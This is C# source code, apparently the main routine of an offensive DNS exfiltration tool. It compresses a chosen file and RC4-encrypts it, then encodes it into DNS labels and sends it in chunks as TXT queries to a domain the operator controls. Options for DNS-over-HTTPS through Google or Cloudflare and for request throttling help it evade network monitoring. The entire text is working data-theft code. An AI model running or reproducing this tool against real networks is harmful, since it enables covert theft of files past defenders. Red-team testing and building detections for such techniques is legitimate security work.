//------------------------------------------------------------------------------------ // MAIN FUNCTION //------------------------------------------------------------------------------------ public static void Main(string[] args) { // Mandatory parameters string filePath = String.Empty; string domainName = String.Empty; string password = String.Empty; // Optionnal parameters string fileName = String.Empty; bool useBase32 = false; // Whether or not to use Base32 for data encoding bool useDoH = false; // Whether or not to use DoH for name resolution string dohProvider = String.Empty; // Which DoH server to use: google or cloudflare string dnsServer = null; int throttleTime = 0; string data = String.Empty; string request = String.Empty; int requestMaxSize = 255; // DNS request max size = 255 bytes int labelMaxSize = 63; // DNS request label max size = 63 chars //-------------------------------------------------------------- // Perform arguments checking if (args.Length < 3) { PrintColor("[!] Missing arguments"); PrintUsage(); return; } filePath = args[0]; domainName = args[1]; password = args[2]; fileName = Path.GetFileName(filePath); if (!File.Exists(filePath)) { PrintColor(String.Format("[!] File not found: {0}", filePath)); return; } // Do we have additionnal arguments ? if (new[] { 4, 5, 6, 7 }.Contains(args.Length)) { int i = 3; int param; while (i < args.Length) { if (args[i].StartsWith("s=")) { dnsServer = args[i].Split('=')[1]; PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer)); } else if (args[i].StartsWith("t=")) { throttleTime = Convert.ToInt32(args[i].Split('=')[1]); PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime)); } else if (args[i].StartsWith("r=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 255) { requestMaxSize = param; } PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize)); } else if (args[i].StartsWith("l=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 63) { labelMaxSize = param; } PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize)); } else if (args[i].StartsWith("h=")) { dohProvider = args[i].Split('=')[1]; if (dohProvider.Equals("google") || dohProvider.Equals("cloudflare")) { if (dohProvider.Equals("cloudflare")) { useBase32 = true; } useDoH = true; PrintColor("[*] Using DNS over HTTP for name resolution."); } else { PrintColor(String.Format("[!] Error with DoH parameter.")); PrintUsage(); return; } } else if (args[i] == "-b32") { useBase32 = true; } i++; } } //-------------------------------------------------------------- // Compress and encrypt the file in memory PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath)); using (var zipStream = new MemoryStream()) { using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) { var entryFile = archive.CreateEntry(fileName); using (var entryStream = entryFile.Open()) using (var streamWriter = new BinaryWriter(entryStream)) { streamWriter.Write(File.ReadAllBytes(filePath)); } } zipStream.Seek(0, SeekOrigin.Begin); PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}]", password)); // Should we use base32 encoding ? CloudFlare requires it because of Knot server doing case randomization which breaks base64 if (useBase32) { PrintColor("[*] Encoding the data with Base32"); data = ToBase32(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); } else { PrintColor("[*] Encoding the data with Base64URL"); data = ToBase64URL(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); } PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length)); } //-------------------------------------------------------------- // Compute the size of the chunk and how it can be split into subdomains (labels) // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873 // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number: // <chunk_number>.<data>.<data>.<data>.domainName. int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2); // domain name space usage in bytes int nbFullLabels = bytesLeft / (labelMaxSize + 1); int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1; int chunkMaxSize = nbFullLabels * labelMaxSize + smallestLabelSize; int nbChunks = data.Length / chunkMaxSize + 1; PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize)); PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks)); //-------------------------------------------------------------- // Send the initial request advertising the fileName and the total number of chunks, with Base32 encoding in all cases if (useBase32) { request = "init." + ToBase32(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + ".base32." + domainName; } else { request = "init." + ToBase32(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + ".base64." + domainName; } PrintColor("[*] Sending 'init' request"); string reply = String.Empty; try { if (useDoH) { reply = DOHResolver.GetTXTRecord(dohProvider, request); } else { reply = DnsResolver.GetTXTRecord(request, dnsServer); } if (reply != "OK") { PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0])); return; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } //-------------------------------------------------------------- // Send all chunks of data, one by one PrintColor("[*] Sending data..."); string chunk = String.Empty; int chunkIndex = 0; int countACK; for (int i = 0; i < data.Length;) { // Get a first chunk of data to send chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i)); int chunkLength = chunk.Length; // First part of the request is the chunk number request = chunkIndex.ToString() + "."; // Then comes the chunk data, split into sublabels int j = 0; while (j * labelMaxSize < chunkLength) { request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + "."; j++; } // Eventually comes the top level domain name request += domainName; // Send the request try { if (useDoH) { reply = DOHResolver.GetTXTRecord(dohProvider, request); } else { reply = DnsResolver.GetTXTRecord(request, dnsServer); } countACK = Convert.ToInt32(reply); if (countACK != chunkIndex) { PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK)); } else { i += chunkMaxSize; chunkIndex++; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } // Apply throttle if requested if (throttleTime != 0) { Thread.Sleep(throttleTime); } } PrintColor("[*] DONE !"); } // End Main